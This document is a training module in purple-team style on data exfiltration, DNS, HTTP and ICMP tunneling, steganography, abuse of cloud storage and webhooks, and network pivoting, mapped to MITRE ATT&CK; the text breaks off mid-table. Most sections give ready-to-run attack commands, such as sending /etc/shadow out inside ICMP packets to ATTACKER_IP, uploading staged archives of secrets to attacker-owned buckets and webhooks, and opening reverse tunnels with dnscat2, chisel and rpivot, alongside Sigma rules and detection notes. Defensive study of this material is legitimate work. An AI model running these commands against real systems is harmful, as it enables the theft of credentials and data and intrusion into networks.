Data Exfiltration, Covert Channels & Tunneling — Deep Dive
Data Exfiltration, Covert Channels & Tunneling — Deep Dive
CIPHER Training Module |
[MODE: PURPLE]— Offense/Defense Integrated Last updated: 2026-03-14
Table of Contents
- MITRE ATT&CK Framework Mapping
- Data Staging & Collection (TA0009)
- DNS Tunneling & Exfiltration
- HTTP/HTTPS Tunneling
- ICMP Tunneling
- Steganography
- Cloud Service Abuse
- Pivoting Methodology
- Network Segmentation Bypass
- Multi-Channel Exfiltration
- Covert Channel Detection
- Defensive Playbook
1. MITRE ATT&CK Framework Mapping
Exfiltration Tactic (TA0010) — Complete Technique Index
| Technique ID | Name | Sub-Techniques | Key Concept |
|---|---|---|---|
| T1020 | Automated Exfiltration | .001 Traffic Duplication | Scripted bulk transfer; port mirroring abuse |
| T1030 | Data Transfer Size Limits | — | Chunked exfil to evade DLP thresholds |
| T1048 | Exfil Over Alternative Protocol | .001 Symmetric Encrypted, .002 Asymmetric Encrypted, .003 Unencrypted | DNS, ICMP, SMTP, FTP — anything not the C2 channel |
| T1041 | Exfil Over C2 Channel | — | Piggyback on existing C2; hardest to separate from C2 noise |
| T1011 | Exfil Over Other Network Medium | .001 Bluetooth | Air-gapped bridging, RF exfil |
| T1052 | Exfil Over Physical Medium | .001 USB | Rubber Ducky, BadUSB, physical dead drops |
| T1567 | Exfil Over Web Service | .001 Code Repos, .002 Cloud Storage, .003 Text Storage, .004 Webhooks | Blend into legitimate SaaS traffic |
| T1029 | Scheduled Transfer | — | Time-based exfil to match business hours / reduce anomaly signals |
| T1537 | Transfer Data to Cloud Account | — | Cloud-to-cloud lateral exfil; snapshot sharing, bucket sync |
Collection Tactic (TA0009) — Staging-Relevant Techniques
| Technique ID | Name | Relevance to Exfil |
|---|---|---|
| T1560 | Archive Collected Data | .001 via Utility (7z, tar, zip), .002 via Library, .003 via Custom Method — compression + encryption pre-exfil |
| T1074 | Data Staged | .001 Local Staging (consolidate to single dir), .002 Remote Staging (centralize from multiple hosts to one staging box) |
| T1119 | Automated Collection | Scripted search-and-copy matching criteria (file extensions, keywords, dates) |
| T1005 | Data from Local System | Local file system, browser data, credential stores |
| T1039 | Data from Network Shared Drive | SMB shares, NFS mounts |
| T1530 | Data from Cloud Storage | S3, Azure Blob, GCS bucket enumeration and download |
| T1213 | Data from Information Repositories | .001 Confluence, .002 SharePoint, .003 Code Repos, .005 Messaging Apps, .006 Databases |
2. Data Staging & Collection (TA0009)
Pre-Exfiltration Staging Workflow
ENUMERATE → FILTER → COMPRESS → ENCRYPT → STAGE → EXFILTRATE
Phase 1: Enumerate Target Data
# Find documents modified in last 30 days
find /home /srv /opt -type f \( -name "*.docx" -o -name "*.xlsx" -o -name "*.pdf" \
-o -name "*.csv" -o -name "*.sql" -o -name "*.conf" -o -name "*.env" \
-o -name "*.key" -o -name "*.pem" \) -mtime -30 2>/dev/null
# Windows equivalent
Get-ChildItem -Path C:\Users -Recurse -Include *.docx,*.xlsx,*.pdf,*.csv,*.sql,*.conf `
-ErrorAction SilentlyContinue | Where-Object { $_.LastWriteTime -gt (Get-Date).AddDays(-30) }
Phase 2: Archive and Encrypt (T1560)
# Linux — tar + openssl (no external deps)
tar czf - /path/to/staged/ | openssl enc -aes-256-cbc -pbkdf2 -out /tmp/.cache.dat -pass pass:KEYHERE
# Split into chunks for size-limited channels (T1030)
split -b 512k /tmp/.cache.dat /tmp/.chunk_
# Windows — 7z with encryption
7z a -p"KEYHERE" -mhe=on C:\Windows\Temp\update.cab C:\staged\*
# PowerShell native (no external tools)
Compress-Archive -Path C:\staged\* -DestinationPath C:\Temp\logs.zip
Phase 3: Local vs. Remote Staging
Local Staging (T1074.001): Consolidate to a single directory before exfil. Common locations:
- Linux:
/tmp,/dev/shm,/var/tmp, user dotfile directories - Windows:
C:\Windows\Temp,C:\ProgramData,%APPDATA%, ADS (Alternate Data Streams)
Remote Staging (T1074.002): When exfiltrating from multiple compromised hosts, centralize to one internal system first:
# From compromised hosts → staging box via SMB
smbclient //STAGING/share$ -U user%pass -c "put /tmp/.cache.dat staged_host1.dat"
# Or via SSH
scp /tmp/.cache.dat operator@staging:/tmp/collection/
DETECTION OPPORTUNITIES:
- Monitor for bulk file reads followed by archive creation (Sysmon Event ID 11, auditd write to /tmp)
- Unusual 7z/tar/zip process invocations by non-admin accounts
- Large file creation in temp directories
- ADS usage on Windows (streams.exe, PowerShell Get-Item -Stream *)
3. DNS Tunneling & Exfiltration
Theory of Operation
DNS is the ideal covert channel because:
- Nearly every network allows DNS (UDP/53) outbound
- DNS queries traverse corporate resolvers → recursive resolvers → authoritative servers
- Traditional firewalls inspect layer 3/4, not DNS payload content
- TXT records can carry up to 255 bytes per label, ~65KB per response
- Even "DNS-aware" firewalls often permit high query volumes
Data encoding path:
Raw Data → Base32/Base64 encode → Chunk into DNS labels (≤63 chars each)
→ Append to subdomain: <encoded_chunk>.exfil.attacker.com
→ DNS resolver forwards query to attacker's authoritative NS
→ Server decodes labels, reassembles file
Tool: dnscat2 — DNS C2 and Exfiltration
Architecture: Client (C) ↔ DNS hierarchy ↔ Server (Ruby)
Setup — Authoritative DNS:
# DNS zone delegation (at registrar or parent zone):
# NS record: c2.yourdomain.com → your-server-ip
# A record: ns1.yourdomain.com → your-server-ip
# Server
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server && bundle install
ruby dnscat2.rb c2.yourdomain.com
# Client (Linux)
cd dnscat2/client && make
./dnscat --dns domain=c2.yourdomain.com
# Client (Direct mode — faster, more detectable)
./dnscat --dns server=ATTACKER_IP,port=53
Operational Features:
- Encryption: ECDH key exchange + Salsa20 symmetric + SHA3 auth
- Pre-shared secret mode for MitM prevention:
--secret=PRESHARED_KEY - Port forwarding through tunnel:
listen 127.0.0.1:2222 10.10.10.5:22 - Multi-session management with window-based interface
- File upload/download through DNS channel
Connection Modes:
| Mode | Path | Stealth | Speed |
|---|---|---|---|
| Hierarchical | Client → Local DNS → Recursive → Authoritative (attacker) | High | Slow (multi-hop latency) |
| Direct | Client → Attacker IP on UDP/53 | Low | Fast |
Detection Indicators (dnscat2):
- Encoded subdomain patterns:
9fa0ff178f72686d6c716c6376697968657a6d716800.c2.domain.com - Continuous DNS polling (high query rate to single domain)
dnscat.prefix in domain names (default, configurable)- Heavy TXT record queries to non-CDN domains
- DNS query/response size asymmetry
Tool: iodine — IP-over-DNS Tunneling
Unlike dnscat2 (purpose-built C2), iodine creates a full IP tunnel over DNS — you get a virtual network interface capable of carrying any IP traffic.
Setup:
# Server (requires root, public IP, NS delegation)
# Delegate: t1.yourdomain.com NS → your-server-ip
iodined -f -c -P secretpass 10.0.0.1/24 t1.yourdomain.com
# Client (requires root for tun interface)
iodine -f -P secretpass t1.yourdomain.com
# Or specify DNS server directly:
iodine -f -P secretpass RESOLVER_IP t1.yourdomain.com
Post-connection: A dns0 interface appears with IP in 10.0.0.0/24 range. Route traffic through it or use SSH over the tunnel for additional encryption.
Performance: 43–677 kbit/s depending on latency and record types. Auto-detects optimal encoding (Base32/Base64/Base128) and record types (NULL, TXT, SRV, MX, CNAME).
Detection: Same indicators as dnscat2 plus: consistent high-entropy subdomain queries, unusual record type distribution, tunnel interface creation on endpoints.
Tool: DNSExfiltrator — Purpose-Built File Exfil
Focused tool for file exfiltration only (not full tunnel).
# Server
python dnsexfiltrator.py -d yourdomain.com -p ExfilPassword
# Client (PowerShell)
Invoke-DNSExfiltrator -i C:\sensitive\data.xlsx -d yourdomain.com -p ExfilPassword
# Client (C# compiled)
dnsExfiltrator.exe C:\data.xlsx yourdomain.com ExfilPassword
# DoH mode (bypasses local DNS inspection)
dnsExfiltrator.exe C:\data.xlsx yourdomain.com ExfilPassword s=google
dnsExfiltrator.exe C:\data.xlsx yourdomain.com ExfilPassword s=cloudflare
Features: RC4 encryption, Base64URL/Base32 encoding, configurable throttle between requests, DoH support (Google/CloudFlare), adjustable label sizes.
DNS Tunneling Detection — Sigma Rule
title: Suspicious High-Volume DNS Queries to Single Domain
id: 8a7d4b2e-3f1c-4e9a-b5d6-7c8e9f0a1b2d
status: experimental
description: Detects high-frequency DNS queries to a single parent domain, indicative of DNS tunneling or exfiltration
logsource:
category: dns_query
product: windows
detection:
selection:
QueryName|endswith:
- '.yourdomain.com' # replace with monitored domains
QueryType:
- 'TXT'
- 'NULL'
- 'MX'
- 'CNAME'
timeframe: 5m
condition: selection | count(QueryName) by SourceIP > 100
falsepositives:
- CDN health checks
- Legitimate DNS-based service discovery
- DKIM/SPF/DMARC validation traffic
level: high
tags:
- attack.exfiltration
- attack.t1048.003
- attack.t1071.004
Additional DNS Detection Strategies:
- Shannon entropy analysis on subdomain labels (tunneled data has entropy >3.5)
- DNS query length distribution analysis (legitimate queries average ~30 chars; tunneled queries approach 253-char limit)
- Query-per-second rate per source IP per parent domain
- TXT response size anomalies (>512 bytes triggers TCP fallback)
- Passive DNS monitoring for newly-registered or low-reputation domains
4. HTTP/HTTPS Tunneling
Theory of Operation
HTTP tunneling encapsulates arbitrary protocols within HTTP requests/responses. Advantages:
- Proxies and firewalls almost universally allow HTTP/HTTPS (ports 80/443)
- TLS encryption prevents content inspection
- WebSocket upgrades enable persistent bidirectional channels
- Blends with legitimate web traffic
Tool: Chisel — TCP/UDP Tunnel over HTTP
Single Go binary, no dependencies, cross-platform.
Architecture: WebSocket connection over HTTP, encrypted with SSH (ECDSA keys).
# Server (attacker-controlled)
chisel server --port 8443 --reverse
# Client (compromised host) — reverse SOCKS proxy
chisel client https://ATTACKER:8443 R:socks
# Client — forward specific port
chisel client https://ATTACKER:8443 3389:10.10.10.5:3389
# Client — reverse port forward (expose internal service)
chisel client https://ATTACKER:8443 R:8888:172.16.0.10:8080
# Multiple tunnels simultaneously
chisel client https://ATTACKER:8443 R:socks R:3389:10.0.0.5:3389 R:5432:10.0.0.10:5432
Key Features:
- SOCKS5 proxy (forward and reverse)
- Auto-reconnect with exponential backoff
- Traverse upstream HTTP/SOCKS proxies:
--proxy http://corporate-proxy:8080 - Fingerprint-based MitM detection
- User authentication support
Detection:
- WebSocket upgrade requests to non-standard endpoints
- Long-lived HTTP connections with sustained bidirectional data flow
- SSH handshake patterns within HTTP payload (if decrypted)
- Anomalous User-Agent strings or missing typical browser headers
- JA3/JA3S TLS fingerprinting (Go HTTP client has distinctive fingerprint)
Tool: reGeorg — HTTP Tunnel Through Web Shells
Creates a SOCKS proxy through a planted web shell on a compromised web server. Classic technique for pivoting through DMZ servers.
Supported Web Shell Languages: PHP, JSP (including Tomcat 5), ASP.NET (.ashx/.aspx), JavaScript
# Step 1: Upload tunnel web shell to target web server
# (via file upload vuln, webdav, RCE, etc.)
# Example: upload tunnel.ashx to IIS server
# Step 2: Start SOCKS proxy on attacker machine
python reGeorgSocksProxy.py -u http://target.com/tunnel.ashx -p 1080
# Step 3: Route tools through proxy
proxychains nmap -sT -Pn 10.10.10.0/24
proxychains ssh admin@10.10.10.5
Detection:
- Web shell file indicators (known reGeorg file hashes, distinctive code patterns)
- Unusual POST request patterns to static-looking URLs
- High request rate to single endpoint with varying payload sizes
- Web application logs showing atypical parameter patterns
Tool: rpivot — Reverse SOCKS4 via HTTP
Works like SSH dynamic port forwarding but in reverse direction — ideal when target can make outbound connections but attacker cannot reach target directly.
# Attacker machine (server)
python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080
# Target machine (client)
python client.py --server-ip ATTACKER_IP --server-port 9999
# Through NTLM-authenticated corporate proxy
python client.py --server-ip ATTACKER_IP --server-port 9999 \
--ntlm-proxy-ip 10.0.0.1 --ntlm-proxy-port 8080 \
--domain CORP.LOCAL --username jsmith --password 'P@ss'
Notable: Supports NTLM proxy authentication and pass-the-hash — critical for environments with mandatory proxy + Windows auth.
Tool: Invoke-SocksProxy — PowerShell Native
No binary drop required — runs entirely in PowerShell memory.
# Local SOCKS proxy
Import-Module .\Invoke-SocksProxy.psm1
Invoke-SocksProxy -bindPort 1080
# Reverse proxy (outbound SSL to attacker)
Invoke-ReverseSocksProxy -remotePort 443 -remoteHost ATTACKER_IP `
-certFingerprint '93061FDB30D69A435ACF96430744C5CC5473D44E'
# Uses SSL — bypasses system proxy
# Thread pool configurable (default 200)
Advantages: Living-off-the-land (LOL), no file drop, no compilation, runs in constrained language mode bypass scenarios.
Limitations: No auth support, no UDP, thread exhaustion under heavy load.
5. ICMP Tunneling
Theory of Operation
ICMP echo request/reply (ping) packets carry a data payload field. By encoding arbitrary data in this field, attackers create a covert channel that most firewalls allow (ping is rarely blocked internally).
ATT&CK: T1048.003 (Exfiltration Over Unencrypted Non-C2 Protocol) when ICMP is not the C2 channel.
Implementation Approaches
ptunnel-ng (ICMP Tunnel)
# Server (attacker/proxy)
ptunnel-ng -r<destination_ip> -R22
# Client (compromised host)
ptunnel-ng -p<proxy_ip> -l2222 -r<destination_ip> -R22
# Then SSH through the ICMP tunnel
ssh -p 2222 user@127.0.0.1
Manual ICMP Exfiltration (Python)
#!/usr/bin/env python3
"""Minimal ICMP exfiltration PoC — requires root/raw sockets"""
import socket
import struct
import os
def checksum(data):
s = 0
for i in range(0, len(data), 2):
w = (data[i] << 8) + (data[i+1] if i+1 < len(data) else 0)
s += w
s = (s >> 16) + (s & 0xffff)
return ~s & 0xffff
def icmp_exfil(dest, payload, icmp_id=0x1337):
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
seq = 0
for i in range(0, len(payload), 48): # 48 bytes per packet
chunk = payload[i:i+48]
header = struct.pack('!BBHHH', 8, 0, 0, icmp_id, seq)
cs = checksum(header + chunk)
header = struct.pack('!BBHHH', 8, 0, cs, icmp_id, seq)
sock.sendto(header + chunk, (dest, 0))
seq += 1
sock.close()
nping (Nmap suite)
# Exfil data in ICMP payload
nping --icmp -c 1 --data-string "EXFIL:$(base64 -w0 /etc/shadow)" ATTACKER_IP
# Receiver (tcpdump)
tcpdump -i eth0 icmp -X -nn | grep -A5 "EXFIL:"
ICMP Covert Channel Detection
title: ICMP Tunnel or Data Exfiltration via Oversized Ping
id: 5e3a9b7c-2d1f-4a8e-c6b9-0d3e4f5a6b7c
status: experimental
description: Detects ICMP echo packets with payload sizes exceeding normal ping behavior, indicating potential tunneling or exfiltration
logsource:
category: firewall
product: any
detection:
selection:
Protocol: ICMP
ICMPType: 8 # Echo Request
filter_normal:
PacketSize|lte: 84 # Standard ping: 64 byte payload + 20 IP + 8 ICMP = 84
condition: selection and not filter_normal
falsepositives:
- Network monitoring tools using large ICMP payloads
- Path MTU discovery
level: medium
tags:
- attack.exfiltration
- attack.t1048.003
Detection Signals:
- ICMP packets with non-standard payload sizes (normal ping: 56–64 bytes data)
- High ICMP echo request rate from a single host
- ICMP payloads with high entropy (encrypted/encoded data)
- ICMP traffic to external IPs from servers that should not ping out
- Mismatched ICMP type/code sequences
6. Steganography
Theory of Operation
Steganography hides data within legitimate-looking files (images, audio, video, documents). Unlike encryption which makes data unreadable, steganography makes data invisible.
ATT&CK: T1027.003 (Obfuscated Files or Information: Steganography) — used for both C2 and exfiltration.
Techniques by Medium
Image Steganography
LSB (Least Significant Bit) Insertion:
# Embed data in image LSBs using steghide
steghide embed -cf cover.jpg -ef secret.txt -p password
# Extract
steghide extract -sf cover.jpg -p password
# OpenStego (PNG support)
openstego embed -mf secret.txt -cf cover.png -sf output.png -p password
Capacity: ~12.5% of image file size (1 bit per color channel per pixel for RGB).
Detection: Chi-square analysis, RS steganalysis, visual inspection of LSB plane.
Network Steganography
Embed data in protocol header fields:
- TCP: Urgent pointer, sequence number ISN manipulation, timestamp options
- IP: Identification field, TTL manipulation, IP options
- HTTP: Custom headers, cookie values, response timing (covert timing channels)
# Covert channel in TCP ISN (conceptual)
# Sender modulates TCP initial sequence numbers to encode bits
# Receiver observes SYN packets and extracts encoded data
# Tools: covert_tcp, Ncovert
Document Steganography
- Office documents: Embed data in metadata, custom XML parts, embedded OLE objects
- PDF: Incremental updates, hidden layers, JavaScript streams
- Unicode: Zero-width characters (U+200B, U+200C, U+200D, U+FEFF) in text
# Zero-width character encoding
ZERO_WIDTH = {
'0': '\u200b', # zero-width space
'1': '\u200c', # zero-width non-joiner
}
def encode_zwc(data: bytes) -> str:
binary = ''.join(f'{b:08b}' for b in data)
return ''.join(ZERO_WIDTH[bit] for bit in binary)
def hide_in_text(cover: str, secret: bytes) -> str:
encoded = encode_zwc(secret)
mid = len(cover) // 2
return cover[:mid] + encoded + cover[mid:]
Steganography Detection
- Statistical analysis: Compare file entropy distribution against clean reference files
- File size anomalies: Steganographic files often differ in size from originals
- Tool signatures: Known steganography tools leave detectable artifacts
- Visual analysis: LSB plane extraction reveals patterns in manipulated images
- Tools:
stegdetect,zsteg,binwalk,foremost,strings
7. Cloud Service Abuse
ATT&CK Mapping
| Technique | Cloud Abuse Pattern |
|---|---|
| T1567.002 | Exfil to Cloud Storage (S3, Azure Blob, GCS, Mega.nz) |
| T1567.001 | Exfil to Code Repository (GitHub, GitLab, Bitbucket) |
| T1567.003 | Exfil to Text Storage (Pastebin, Ghostbin, dpaste) |
| T1567.004 | Exfil Over Webhook (Slack, Discord, Teams) |
| T1537 | Transfer Data to Cloud Account (cloud-to-cloud) |
AWS S3 Abuse
# Exfiltrate to attacker-controlled S3 bucket
# Using stolen or pre-planted AWS credentials
export AWS_ACCESS_KEY_ID=AKIA...
export AWS_SECRET_ACCESS_KEY=...
# Upload staged data
aws s3 cp /tmp/.cache.dat s3://attacker-bucket/loot/ --sse AES256
# Sync entire directory
aws s3 sync /opt/sensitive/ s3://attacker-bucket/target/ --exclude "*.log"
# Use presigned URLs (no AWS CLI needed, curl only)
# Attacker generates presigned PUT URL, victim curls data to it
curl -X PUT -T /tmp/data.enc "https://bucket.s3.amazonaws.com/drop?X-Amz-..."
# Cloud-to-cloud exfil (T1537) — copy snapshots to attacker account
aws ec2 modify-snapshot-attribute --snapshot-id snap-xxx \
--attribute createVolumePermission --operation-type add \
--user-ids ATTACKER_ACCOUNT_ID
Detection:
- CloudTrail:
PutObject,CreateMultipartUploadto unknown buckets - VPC Flow Logs: outbound to S3 IP ranges from non-application hosts
- GuardDuty:
Exfiltration:S3/MaliciousIPCaller,UnauthorizedAccess:IAMUser
Azure Blob Storage Abuse
# Using Azure CLI with compromised credentials
az login --service-principal -u APP_ID -p SECRET --tenant TENANT_ID
# Upload to attacker-controlled storage
az storage blob upload --account-name attackerstorage \
--container-name drop --file /tmp/data.enc --name loot.dat
# Using SAS tokens (time-limited, no persistent creds needed)
azcopy copy '/tmp/data.enc' 'https://attackerstorage.blob.core.windows.net/drop/loot?sv=2022-11-02&ss=b&srt=o&sp=w&se=...'
# Snapshot-based exfil
az snapshot grant-access --resource-group RG --name disksnap --duration 3600
# Download snapshot VHD to attacker-controlled location
Detection:
- Azure Activity Log:
Microsoft.Storage/storageAccounts/blobServices/containers/blobs/writeto external accounts - Defender for Cloud: anomalous data transfer alerts
- Network Watcher flow logs for blob storage endpoints
Google Drive / GCS API Abuse
# Google Drive API exfiltration via service account
from googleapiclient.discovery import build
from googleapiclient.http import MediaFileUpload
from google.oauth2 import service_account
creds = service_account.Credentials.from_service_account_file(
'stolen_sa_key.json',
scopes=['https://www.googleapis.com/auth/drive.file']
)
service = build('drive', 'v3', credentials=creds)
media = MediaFileUpload('/tmp/data.enc', resumable=True)
file_metadata = {'name': 'report_q4.xlsx'} # innocuous filename
service.files().create(body=file_metadata, media_body=media).execute()
# GCS bucket exfil
gsutil cp /tmp/data.enc gs://attacker-bucket/drop/
# Using signed URLs (no gcloud needed)
curl -X PUT -H "Content-Type: application/octet-stream" \
--upload-file /tmp/data.enc \
"https://storage.googleapis.com/bucket/obj?X-Goog-SignedHeaders=..."
Detection:
- Cloud Audit Logs:
storage.objects.createevents to external projects - VPC Service Controls violations
- DLP API scanning for sensitive content in outbound uploads
Webhook/API Exfiltration (T1567.004)
# Discord webhook (no auth needed, just URL)
curl -F "file1=@/tmp/data.enc" \
"https://discord.com/api/webhooks/WEBHOOK_ID/WEBHOOK_TOKEN"
# Slack incoming webhook
curl -X POST -H 'Content-type: application/json' \
--data "{\"text\":\"$(base64 -w0 /tmp/data.enc)\"}" \
https://hooks.slack.com/services/T.../B.../xxx
# Telegram Bot API
curl -F document=@/tmp/data.enc \
"https://api.telegram.org/botTOKEN/sendDocument?chat_id=CHAT_ID"
APT Usage (confirmed):
- APT28: Google Drive exfiltration [CONFIRMED]
- APT41: Cloudflare services during C0017 [CONFIRMED]
- Contagious Interview / Magic Hound: Telegram API [CONFIRMED]
- Play ransomware: WinSCP to external accounts [CONFIRMED]
8. Pivoting Methodology
Pivoting Fundamentals
Pivoting uses a compromised host as a relay to reach otherwise inaccessible network segments. The compromised host has interfaces in two or more networks (or routing capability).
ATTACKER → [Pivot Host 1] → [Internal Network 1]
↓
[Pivot Host 2] → [Internal Network 2]
↓
[Pivot Host 3] → [Restricted Network]
Single Pivot (One Hop)
Scenario: Attacker compromises DMZ web server, needs to reach internal LAN (10.10.10.0/24).
Method 1: SSH Dynamic Port Forwarding (SOCKS)
# From attacker to pivot host
ssh -D 1080 -f -N user@pivot-host
# Route tools through SOCKS proxy
proxychains4 nmap -sT -Pn 10.10.10.0/24
proxychains4 crackmapexec smb 10.10.10.0/24
Method 2: Chisel Reverse SOCKS
# Attacker (server)
chisel server --port 8443 --reverse
# Pivot host (client) — reverse SOCKS back to attacker
chisel client https://ATTACKER:8443 R:socks
# Attacker uses SOCKS on 127.0.0.1:1080
proxychains4 nmap -sT -Pn 10.10.10.0/24
Method 3: Ligolo-ng (TUN Interface — No SOCKS Needed)
# Attacker (proxy server)
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
ligolo-proxy -selfcert -laddr 0.0.0.0:11601
# Pivot host (agent)
ligolo-agent -connect ATTACKER:11601 -ignore-cert
# On attacker — select session, add route
# In ligolo interface:
session # select the agent session
start # start the tunnel
# Then add route:
sudo ip route add 10.10.10.0/24 dev ligolo
Ligolo-ng advantage: Direct IP routing through TUN interface. No SOCKS configuration, no proxychains. Tools work natively as if you are on the network.
Method 4: sshuttle (Transparent VPN)
# Tunnel all traffic to 10.10.10.0/24 through pivot
sshuttle -r user@pivot-host 10.10.10.0/24
# Include DNS forwarding
sshuttle --dns -r user@pivot-host 10.10.10.0/24
# Exclude specific subnets
sshuttle -r user@pivot-host 10.10.10.0/24 -x 10.10.10.1/32
sshuttle advantage: No SOCKS, no proxychains, transparent routing. Handles DNS. No admin on remote side.
Double Pivot (Two Hops)
Scenario: Attacker → DMZ (172.16.0.0/24) → Server VLAN (10.10.10.0/24) → Management VLAN (192.168.1.0/24)
Using Chisel Chain
# === Hop 1: Attacker → Pivot 1 (DMZ) ===
# Attacker
chisel server --port 8443 --reverse
# Pivot 1 (DMZ host)
chisel client https://ATTACKER:8443 R:socks
# === Hop 2: Pivot 1 → Pivot 2 (Server VLAN) ===
# Pivot 1 also runs a chisel server (or forward existing SOCKS)
# Upload chisel to Pivot 2
# On Pivot 2:
chisel client https://PIVOT1_INTERNAL_IP:9443 R:socks
# === Chaining with proxychains ===
# proxychains.conf:
# [ProxyList]
# socks5 127.0.0.1 1080 # Hop 1
# socks5 127.0.0.1 1081 # Hop 2
proxychains4 nmap -sT -Pn 192.168.1.0/24
Using Ligolo-ng Multi-Pivot
# Attacker runs ligolo-proxy
# Agent 1 on Pivot 1 connects to attacker
# Add route: sudo ip route add 10.10.10.0/24 dev ligolo
# Agent 2 on Pivot 2 connects through the existing tunnel
# Ligolo listener on Pivot 1 forwards agent traffic
# In ligolo-proxy:
listener_add --addr 0.0.0.0:11601 --to 127.0.0.1:11601 --tcp
# Agent 2 connects to Pivot 1's listener
# Add second route: sudo ip route add 192.168.1.0/24 dev ligolo
Using SSH Multi-Hop
# Single command — chain through two jump hosts
ssh -J user@pivot1,user@pivot2 user@target
# Dynamic SOCKS through chain
ssh -J user@pivot1 -D 1080 user@pivot2
# ProxyCommand chaining (SSH config)
Host pivot1
HostName 172.16.0.5
User operator
Host pivot2
HostName 10.10.10.20
User admin
ProxyJump pivot1
Host target
HostName 192.168.1.50
User root
ProxyJump pivot2
Triple Pivot (Three Hops)
Triple pivots follow the same pattern but require careful port management and latency consideration.
# Chisel chain — three layers
# Attacker: chisel server --port 8443 --reverse
# Pivot 1: chisel client ATTACKER:8443 R:1080:socks
# Pivot 1: chisel server --port 9443 --socks5 (for hop 2)
# Pivot 2: chisel client PIVOT1:9443 R:1081:socks
# Pivot 2: chisel server --port 9444 --socks5 (for hop 3)
# Pivot 3: chisel client PIVOT2:9444 R:1082:socks
# Proxychains strict_chain through all three
# [ProxyList]
# socks5 127.0.0.1 1080
# socks5 127.0.0.1 1081
# socks5 127.0.0.1 1082
Operational Notes for Multi-Pivot:
- Latency compounds: expect 3-5x latency per hop
- Bandwidth degrades with each hop
- If any pivot host dies, the entire chain breaks
- Use keepalive settings aggressively
- Consider Meterpreter autoroute for simpler multi-hop in Metasploit
Pivot Tool Comparison Matrix
| Tool | Protocol | SOCKS | TUN | Multi-hop | Auth Proxy | LOL | Speed |
|---|---|---|---|---|---|---|---|
| SSH -D | SSH | SOCKS5 | No | ProxyJump | No | Yes (if SSH avail) | Good |
| Chisel | HTTP/WS | SOCKS5 | No | Manual chain | HTTP/SOCKS | Single binary | Good |
| Ligolo-ng | TLS | N/A (TUN) | Yes | Listener chain | No | Single binary | Excellent |
| sshuttle | SSH | Transparent | Transparent | Via jump hosts | No | Python | Good |
| rpivot | HTTP | SOCKS4 | No | No | NTLM | Python | Moderate |
| reGeorg | HTTP | SOCKS | No | No | Web auth | Web shell | Slow |
| Invoke-SocksProxy | TCP/SSL | SOCKS4/5 | No | No | No | PowerShell | Moderate |
| Metasploit autoroute | Various | SOCKS4a | No | Automatic | N/A | In-memory | Moderate |
9. Network Segmentation Bypass
Common Segmentation Models and Weaknesses
VLAN Hopping
Double Tagging Attack (802.1Q):
# Requires: attacker on native VLAN, target VLAN number known
# Craft double-tagged frame: outer tag = native VLAN, inner tag = target VLAN
# Switch strips outer tag, forwards based on inner tag
# Using Yersinia
yersinia dot1q -attack 1 -source 00:11:22:33:44:55 \
-dest ff:ff:ff:ff:ff:ff -vlan1 1 -vlan2 100
# Using Scapy
from scapy.all import *
pkt = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=100)/IP(dst="10.10.100.5")/ICMP()
sendp(pkt)
Switch Spoofing (DTP):
# Negotiate trunk port via DTP
yersinia dtp -attack 1
# Once trunking, access all VLANs
Mitigation: Disable DTP (switchport nonegotiate), use dedicated native VLANs, prune unused VLANs from trunks.
Firewall Rule Abuse
Permitted Protocol Tunneling:
- Encapsulate restricted traffic within allowed protocols
- DNS tunneling through allowed UDP/53
- HTTPS tunneling through allowed 443
- ICMP tunneling if ping is permitted between zones
Source IP Spoofing / NAT Traversal:
- If firewall rules are IP-based, compromise an allowed source host to pivot
- Abuse NAT hairpinning for internal-to-internal access through the firewall
Microsegmentation Bypass
East-West Inspection Gaps:
Typical weakness: Firewalls inspect north-south (perimeter) but not east-west (lateral)
→ Once inside a segment, lateral movement is unconstrained
→ Microsegmentation with host-based firewalls addresses this but is rarely complete
Shared Services Exploitation:
- DNS servers accessible from all segments → DNS tunnel bridges segments
- Active Directory / LDAP servers → compromise DC, access all segments
- Jump boxes / bastion hosts → single point of failure for segmentation
- Backup systems → often have broad network access for backup agents
- Monitoring systems (SCCM, SCOM, Nagios) → agents on all segments
Cloud Network Bypass
# VPC Peering abuse — if VPC A peers with VPC B, compromise in A reaches B
# Transit Gateway pivot — shared transit gateway = shared blast radius
# Security Group misconfig — overly permissive SGs between tiers
# Enumerate VPC peering (AWS)
aws ec2 describe-vpc-peering-connections
# Enumerate security groups
aws ec2 describe-security-groups --filters "Name=ip-permission.cidr,Values=0.0.0.0/0"
Segmentation Bypass Checklist:
- Identify all shared services accessible from current segment
- Map firewall rules (permitted protocols/ports between zones)
- Test for VLAN hopping if on a switched network
- Look for dual-homed hosts (multiple interfaces in different segments)
- Check for management interfaces (IPMI/iLO/iDRAC) on separate VLAN
- Enumerate cloud network topology (VPC peering, transit gateways)
- Test DNS, ICMP, HTTP/S as tunnel carriers between segments
- Identify backup/monitoring systems with cross-segment access
10. Multi-Channel Exfiltration
Tool: DET (Data Exfiltration Toolkit)
DET supports simultaneous exfiltration across multiple protocols to test DLP coverage.
Supported Channels:
- HTTP/HTTPS
- ICMP
- DNS
- SMTP/IMAP (Gmail)
- Raw TCP/UDP
- Google Docs
- Twitter DMs
- PowerShell variants
# Setup
git clone https://github.com/sensepost/DET.git
cd DET && pip install -r requirements.txt
# Configure channels in config.json
# {
# "plugins": {
# "http": {"target": "attacker.com", "port": 8080},
# "dns": {"target": "exfil.attacker.com", "key": "secret"},
# "icmp": {"target": "attacker.com"}
# },
# "AES_KEY": "encryption_key_here"
# }
# Server (listener)
python det.py -c config.json -L
# Client (exfil) — all channels simultaneously
python det.py -c config.json -f /path/to/sensitive_data.tar.gz
# Client — specific plugin only
python det.py -c config.json -p dns -f /path/to/data.tar.gz
# Client — exclude specific plugin
python det.py -c config.json -e http -f /path/to/data.tar.gz
Custom Multi-Channel Strategy
For real operations, purpose-built exfil is preferable to toolkit-based approaches:
Primary channel: HTTPS to cloud storage (T1567.002) — high bandwidth, blends with traffic
Backup channel: DNS TXT queries (T1048.003) — slow but reliable, hard to block
Tertiary channel: ICMP echo payloads (T1048.003) — opportunistic, for small high-value data
Emergency channel: Steganography in uploaded images (T1027.003) — for when all else is monitored
Bandwidth by Channel:
| Channel | Approx. Bandwidth | Stealth | Reliability |
|---|---|---|---|
| HTTPS to cloud | 10+ Mbps | High (blends) | High |
